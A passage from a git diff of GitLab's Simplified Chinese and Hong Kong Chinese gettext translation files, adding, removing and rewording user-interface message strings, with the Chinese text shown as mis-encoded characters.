msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -33467,15 +34129,15 @@ msgstr "切æ¢å¯¼èˆª"
msgid "Toggle project select"
msgstr "切æ¢é¡¹ç›®é€‰æ‹©"
+msgid "Toggle shortcuts"
+msgstr ""
+
msgid "Toggle sidebar"
msgstr "切æ¢è¾¹æ "
msgid "Toggle the Performance Bar"
msgstr "切æ¢æ€§èƒ½æ "
-msgid "Toggle this dialog"
-msgstr "切æ¢æ­¤å¯¹è¯æ¡†"
-
msgid "Toggle thread"
msgstr "切æ¢ä¸»é¢˜"
@@ -33503,9 +34165,6 @@ msgstr "å¯ç”¨äº†å¤ªå¤šçš„命å空间。您需è¦é€šè¿‡æŽ§åˆ¶å°æˆ–APIæ¥ç®¡ç†
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr "å¯ç”¨äº†å¤ªå¤šçš„项目。您需è¦é€šè¿‡æŽ§åˆ¶å°æˆ–APIæ¥ç®¡ç†å®ƒä»¬ã€‚"
-msgid "Too much data"
-msgstr "æ•°æ®è¿‡å¤š"
-
msgid "Topics (optional)"
msgstr "主题(å¯é€‰)"
@@ -33702,6 +34361,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr "触å‘集群é‡å»ºç´¢å¼•"
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr "触å‘手动作业"
@@ -33927,6 +34589,9 @@ msgstr "无法创建到æ¼æ´žçš„链接"
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr "无法获å–未扫æ的项目"
@@ -34170,6 +34835,9 @@ msgstr "传入了ä¸æ”¯æŒçš„待办事项类型。支æŒçš„待办事项类型为
msgid "Until"
msgstr "直到"
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34329,6 +34997,9 @@ msgstr "上传图片"
msgid "Upload file"
msgstr "上传文件"
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr "上传对象图"
@@ -34650,6 +35321,9 @@ msgstr "使用全局通知设置"
msgid "Use your smart card to authenticate with the LDAP server."
msgstr "使用智能å¡å¯¹LDAPæœåŠ¡å™¨è¿›è¡Œèº«ä»½éªŒè¯ã€‚"
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr "ä¾›æˆå‘˜ç™»å½•æ‚¨çš„GitLab群组"
@@ -34659,6 +35333,9 @@ msgstr ""
msgid "Used programming language"
msgstr "使用的编程语言"
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr "用于帮助é…置您的身份æ供者"
@@ -34767,27 +35444,45 @@ msgstr "输入一个逗å·åˆ†éš”的用户ID列表。这些ID应该是设置使ç”
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr "列表å…许您定义一组用于功能标志的用户。 %{linkStart}阅读更多关于功能标志列表的信æ¯ã€‚%{linkEnd}"
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr "å称"
msgid "UserLists|New list"
msgstr "新建列表"
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr "ä¿å­˜"
msgid "UserLists|There are no users"
msgstr "没有用户"
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr "用户ID"
msgid "UserLists|User IDs"
msgstr "用户ID"
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr "删除%{name}å—?"
@@ -34920,6 +35615,9 @@ msgstr "于"
msgid "UserProfile|made a private contribution"
msgstr "作出了ç§æœ‰è´¡çŒ®"
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr "用户å (å¯é€‰)"
@@ -34941,6 +35639,9 @@ msgstr "用户å: %{username}"
msgid "Users"
msgstr "用户"
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr "许å¯è¯ä¸­çš„用户数"
@@ -35052,6 +35753,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35615,15 +36319,15 @@ msgstr "我们在%{humanized_resource_name}检测到潜在滥用行为。请输å
msgid "We don't have enough data to show this stage."
msgstr "该阶段的数æ®ä¸è¶³ï¼Œæ— æ³•æ˜¾ç¤ºã€‚"
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr "我们å‘现以下错误:"
msgid "We heard back from your device. You have been authenticated."
msgstr "我们收到了您设备的å“应。您已通过身份验è¯ã€‚"
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -35663,9 +36367,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr "未å‘现安全æ¼æ´ž"
-msgid "Web Application Firewall"
-msgstr "Web应用程åºé˜²ç«å¢™"
-
msgid "Web IDE"
msgstr "Web IDE"
@@ -35693,16 +36394,16 @@ msgstr "åˆå¹¶è¯·æ±‚"
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -35735,9 +36436,6 @@ msgstr "Webhooks帮助"
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr "如果有新的推é€æˆ–新的议题,Webhook将自动触å‘您设置URL。 您å¯ä»¥é…ç½® Webhook æ¥ç›‘å¬ç‰¹å®šäº‹ä»¶ï¼Œå¦‚推é€ã€è®®é¢˜æˆ–åˆå¹¶è¯·æ±‚。 群组 Webhook 适用于群组中的所有项目,便于您在整个群组中标准化webhook功能。"
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr "Webhook设置已移动。现在å¯ä»¥åœ¨è®¾ç½®èœå•ä¸­æ‰¾åˆ°ã€‚"
-
msgid "Webhooks|Comments"
msgstr "评论"
@@ -35979,6 +36677,9 @@ msgstr "è°å°†ä½¿ç”¨æ­¤GitLab订阅?"
msgid "Who will be using this GitLab trial?"
msgstr "è°å°†ä½¿ç”¨æ­¤GitLab试用?"
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr "Wiki"
@@ -36087,6 +36788,12 @@ msgstr "删除页é¢%{pageTitle}?"
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36105,12 +36812,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36120,6 +36833,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36141,9 +36860,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr "在这里编写您的内容或将文件拖动到此处..."
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr "Wiki"
@@ -36312,6 +37028,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr "您无æƒæ‰¹å‡†ç”¨æˆ·"
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr "您无æƒæŽ¨é€åˆ°æ­¤åˆ†æ”¯ã€‚请创建一个新的分支或开å¯åˆå¹¶è¯·æ±‚。"
@@ -36516,6 +37235,9 @@ msgstr "您ä¸èƒ½å†™å…¥åªè¯»çš„æ¬¡è¦ GitLab Geo 实例。请改用%{link_to_pr
msgid "You cannot write to this read-only GitLab instance."
msgstr "您ä¸èƒ½å†™å…¥è¿™ä¸ªåªè¯»çš„ GitLab 实例。"
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr "您无法创建新的触å‘器。"
@@ -36627,9 +37349,15 @@ msgstr "您没有足够的æƒé™ä¸ºè¿™ä¸ªè­¦æŠ¥åˆ›å»ºå¾…办事项"
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr "您没有足够的æƒé™ä¸ºæ­¤é¡¹ç›®åˆ›å»ºHTTP集æˆ"
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr "您没有足够的æƒé™æ¥åˆ›å»ºæ­¤é¡¹ç›®çš„待命计划"
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -36912,10 +37640,10 @@ msgstr "您的SSH密钥已删除"
msgid "Your SSH keys (%{count})"
msgstr "您的SSH密钥(%{count})"
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -36954,6 +37682,9 @@ msgstr "您的应用程åº(%{size})"
msgid "Your authorized applications"
msgstr "您已授æƒçš„应用"
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr "您的æµè§ˆå™¨ä¸æ”¯æŒU2F。请使用Google Chromeæ¡Œé¢ç‰ˆï¼ˆ41或更高版本)。"
@@ -36984,9 +37715,6 @@ msgstr "您的评论无法更新ï¼è¯·æ£€æŸ¥æ‚¨çš„网络连接,然åŽé‡è¯•ã€‚
msgid "Your comment will be discarded."
msgstr "您的评论将被丢弃。"
-msgid "Your custom stage '%{title}' was created"
-msgstr "您的自定义阶段’%{title}‘已创建"
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr "仪表æ¿å·²ç»è¢«å¤åˆ¶ã€‚ ä½ å¯ä»¥%{web_ide_link_start}在这里进行编辑%{web_ide_link_end}。"
@@ -37183,9 +37911,6 @@ msgstr "å·²ç»æœ‰â€œå·²åˆ›å»ºâ€çš„议题链接"
msgid "already shared with this group"
msgstr "已与该群组分享"
-msgid "among other things"
-msgstr "åŠå…¶ä»–功能"
-
msgid "and"
msgstr "和"
@@ -37520,6 +38245,45 @@ msgstr ""
msgid "closed issue"
msgstr "已关闭议题"
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr "收集使用信æ¯"
@@ -37756,6 +38520,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr "https://your-bitbucket-server"
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr "图åƒå·®å¼‚"
@@ -37832,8 +38599,8 @@ msgstr "ä¸åœ¨å¼ºåˆ¶æ‰§è¡Œç¾¤ç»„托管账户的群组"
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
-msgstr "为åªè¯»"
+msgid "is read-only"
+msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
msgstr "太长(%{current_value})。最大值为%{max_size}。"
@@ -37932,6 +38699,9 @@ msgid "merge request"
msgid_plural "merge requests"
msgstr[0] "åˆå¹¶è¯·æ±‚"
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr "åˆå¹¶äºŽ%{timeAgo}"
@@ -37992,9 +38762,6 @@ msgstr "已被添加到åˆå¹¶é˜Ÿåˆ—,添加者:"
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr "已添加到åˆå¹¶åˆ—车。当å‰æœ‰%{mergeTrainPosition}个åˆå¹¶è¯·æ±‚等待åˆå¹¶"
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr "å…许具有åˆå¹¶åˆ°ç›®æ ‡åˆ†æ”¯æƒé™çš„æˆå‘˜æ交"
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr "删除您的核准时å‘生错误。"
@@ -38022,11 +38789,8 @@ msgstr "核准人:"
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr "您会增加技术债务或引入代ç æ¼æ´žå—?"
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr "必须解决一个或多个主题åŽæ­¤åˆå¹¶è¯·æ±‚æ‰å¯ä»¥åˆå¹¶ã€‚"
-
-msgid "mrWidget|Cancel automatic merge"
-msgstr "å–消自动åˆå¹¶"
+msgid "mrWidget|Cancel"
+msgstr ""
msgid "mrWidget|Check out branch"
msgstr "检出分支"
@@ -38067,9 +38831,6 @@ msgstr "无法加载部署统计信æ¯"
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr "无法进行快进å¼åˆå¹¶ã€‚è¦åˆå¹¶æ­¤è¯·æ±‚,请先在本地进行rebase。"
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr "除éžç”±é¡¹ç›®æˆå‘˜å¯åŠ¨ï¼Œæ´¾ç”Ÿé¡¹ç›®åˆå¹¶è¯·æ±‚ä¸ä¼šåˆ›å»ºå¯éªŒè¯åˆå¹¶è¯·æ±‚结果的åˆå¹¶è¯·æ±‚æµæ°´çº¿ã€‚"
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr "如果 %{missingBranchName} 分支存在于本地仓库中,则å¯ä»¥é€šè¿‡ä»¥ä¸‹å‘½ä»¤è¡Œæ‰‹åŠ¨åˆå¹¶è¯¥åˆå¹¶è¯·æ±‚。"
@@ -38085,12 +38846,18 @@ msgstr "加载部署统计信æ¯ä¸­"
msgid "mrWidget|Mark as ready"
msgstr "标记为已就绪"
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr "æåŠ"
msgid "mrWidget|Merge"
msgstr "åˆå¹¶"
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr "åˆå¹¶å¤±è´¥ã€‚"
@@ -38489,6 +39256,12 @@ msgstr "已修订"
msgid "satisfied"
msgstr "满足"
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr "创建åˆå¹¶è¯·æ±‚时出错"
@@ -38612,6 +39385,9 @@ msgstr "下列议题"
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr "此文档"
diff --git a/locale/zh_HK/gitlab.po b/locale/zh_HK/gitlab.po
index f78e1288428..5caefc790f5 100644
--- a/locale/zh_HK/gitlab.po
+++ b/locale/zh_HK/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: zh-HK\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:14\n"
+"PO-Revision-Date: 2021-06-01 20:26\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -230,6 +230,10 @@ msgid "%d issue successfully imported with the label"
msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] "%d 個圖層"
@@ -487,9 +491,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr "%{group_docs_link_start}群組%{group_docs_link_end}å…許您管ç†ã€å”作多個項目。群組的æˆå“¡å¯ä»¥è¨ªå•ç¾¤çµ„下的所有項目。"
-
msgid "%{group_name} activity"
msgstr ""
@@ -592,10 +593,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr ""
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -732,6 +733,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -779,9 +786,6 @@ msgstr ""
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -886,9 +890,15 @@ msgstr ""
msgid "%{userName}'s avatar"
msgstr ""
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -952,9 +962,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr ""
@@ -1260,6 +1267,9 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1281,6 +1291,9 @@ msgstr ""
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1350,9 +1363,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr "一個專案æ供了以下功能,存放你的文件(存儲庫),計劃你的工作(è­°é¡Œ),並發布你的文件(維基), %{among_other_things_link}。"
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1365,6 +1375,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1410,9 +1423,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1452,30 +1462,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1491,7 +1495,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1518,6 +1522,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr ""
@@ -1785,6 +1798,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr ""
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2061,6 +2077,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr "管ç†å€åŸŸ"
@@ -2226,9 +2245,6 @@ msgstr ""
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2241,9 +2257,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
@@ -2268,9 +2281,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr "為æ¯å€‹é …目的自動複閱應用åŠè‡ªå‹•éƒ¨ç½²æŒ‡å®šä¸€å€‹é è¨­çš„網域"
@@ -2316,6 +2326,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2334,6 +2347,9 @@ msgstr ""
msgid "AdminUsers|2FA Enabled"
msgstr ""
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2382,6 +2398,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2412,6 +2443,9 @@ msgstr "無法解å°éŽ–已被å°éŽ–çš„ LDAP 使用者"
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr ""
@@ -2466,6 +2500,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr ""
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2547,6 +2584,15 @@ msgstr "請輸入 %{projectName} 以進行確èª"
msgid "AdminUsers|To confirm, type %{username}"
msgstr "請輸入 %{username} 以進行確èª"
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2562,6 +2608,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2574,6 +2626,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2598,6 +2653,9 @@ msgstr ""
